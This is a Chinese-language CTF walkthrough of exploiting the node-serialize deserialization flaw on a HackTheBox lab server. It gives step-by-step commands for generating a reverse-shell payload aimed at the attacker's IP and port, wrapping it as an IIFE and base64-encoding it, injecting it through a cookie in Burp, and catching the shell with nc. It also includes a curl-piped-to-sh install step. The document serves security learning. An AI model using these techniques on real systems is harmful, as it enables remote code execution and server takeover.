1. 程式人生 > >nodejs & 反序列化漏洞 & 利用

nodejs & 反序列化漏洞 & 利用

https://www.yeahhub.com/nodejs-deserialization-attack-detailed-tutorial-2018/

node.js是一個伺服器端的執行環境,封裝了Google V8引擎,V8引擎執行JavaScript速度非常快,效能非常好。Node.js進行了一些優化並提供替代API,這使得Google V8引擎能夠在非瀏覽器環境下更有效的執行。

但是node.js的序列化過程中依然存在遠端程式碼執行漏洞。更直白的說,其實是node.js的node-serialize庫存在漏洞。通過傳輸JavaScript IIFE(立即執行函式表示式),攻擊者可以利用惡意程式碼(不受信任的資料),在反序列化過程中遠端執行任意程式碼。

漏洞演示環境

靶機:hackthebox節點伺服器

攻擊機:Kali Linux

安裝工具:nodejs,npm,nodejs toolkit,node-serialize

關於漏洞(反序列化攻擊)

不受信任的資料傳遞到unserialize()函式,導致我們可以利用JavaScript物件的立即執行函式表示式也就是IIFE來執行任意程式碼。

第一步就是安裝nodejs,通過apt-get命令進行安裝,如下圖

apt-get install nodejs

nodejs反序列化漏洞利用getshell

第二步,使用curl命令安裝npm(需要用npm來安裝node-serialize包),命令如下:

curl -L https://www.npmjs.com/install.sh | sh

nodejs反序列化漏洞利用getshell

當你安裝和配置好了nodejs和npm之後,你就可以通過npm來安裝node-serialize包了,輸入以下命令即可:

npm install node-serialize

nodejs反序列化漏洞利用getshell

另一方面,我們已經連線到了hackthebox伺服器,它的節點伺服器存在漏洞,IP是10.10.10.85:3000(節點伺服器上執行著nodejs express 框架,可以通過nmap來確認)

nodejs反序列化漏洞利用getshell

現在我們開始演示

首先,我們配置好Burp的代理設定,然後向剛才存在漏洞的IP發起請求,用Burp抓包攔截,如圖:

nodejs反序列化漏洞利用getshell

接著選擇cookie值傳送到decoder模組進行解碼,如圖:

nodejs反序列化漏洞利用getshell

這個應用程式的漏洞就是從HTTP請求的cookie中讀取profile的值,進行base64解碼後傳遞給unserialize()函式。由於cookie輸入是不可信的,攻擊者可以精心構造惡意cookie值來利用此漏洞。

 

接著我們需要下載nodejs security toolkit(nodejs安全工具包)。

在終端中輸入以下命令來下載工具包:

git clone https://github.com/ajinabraham/Node.Js-Security-Course.git

nodejs反序列化漏洞利用getshell

切換到下載的資料夾,執行以下命令來建立反向shell payload,這個payload會把JavaScript程式碼當成字串來執行。

python nodejsshell.py 10.10.14.145 4443

不過首先我們得輸入ifconfig來檢視自己的IP地址, 然後再執行命令來建立payload,如圖:

nodejs反序列化漏洞利用getshell

下圖就是最終的反向shell payload:

nodejs反序列化漏洞利用getshell

現在我們用下面的JavaScript程式碼來生成序列化的payload

var y = {
 rce : function() {}
 }
 var serialize = require(‘node-serialize’);
 console.log(“Serialized: \n” + serialize.serialize(y));

nodejs反序列化漏洞利用getshell

將剛才生成的payload放到花括號裡,如圖:

nodejs反序列化漏洞利用getshell

將檔案儲存為exploit.js,然後使用node命令執行指令碼來生成最終序列化的payload:

nodejs反序列化漏洞利用getshell

現在回到Burp中,切換到decoder模組並貼上上圖中的輸出程式碼到文字框中解碼成字串,解碼之前,在函式體後面加上IIFE圓括號():

然後需要對字串進行base64編碼

nodejs反序列化漏洞利用getshell

向10.10.10.85:3000發出請求,攔截,傳送到repeater模組中,

nodejs反序列化漏洞利用getshell

在repeater模組中,我們把cookie裡的值替換成上面我們剛生成的payload,然後點選go按鈕

nodejs反序列化漏洞利用getshell

同時,在你的攻擊機kali上監聽4443埠(也就是反向shell payload裡的埠)

nodejs反序列化漏洞利用getshell

一旦你點選了“go”按鈕,伺服器接收到請求,返回200 OK響應碼,並顯示一條錯誤訊息” An error occurred…invalid username type”,同時在nc終端中,你會看到你已經與伺服器建立了連線,狀態為“connected”,然後你就可以任意執行系統命令了,如圖:

nodejs反序列化漏洞利用getshell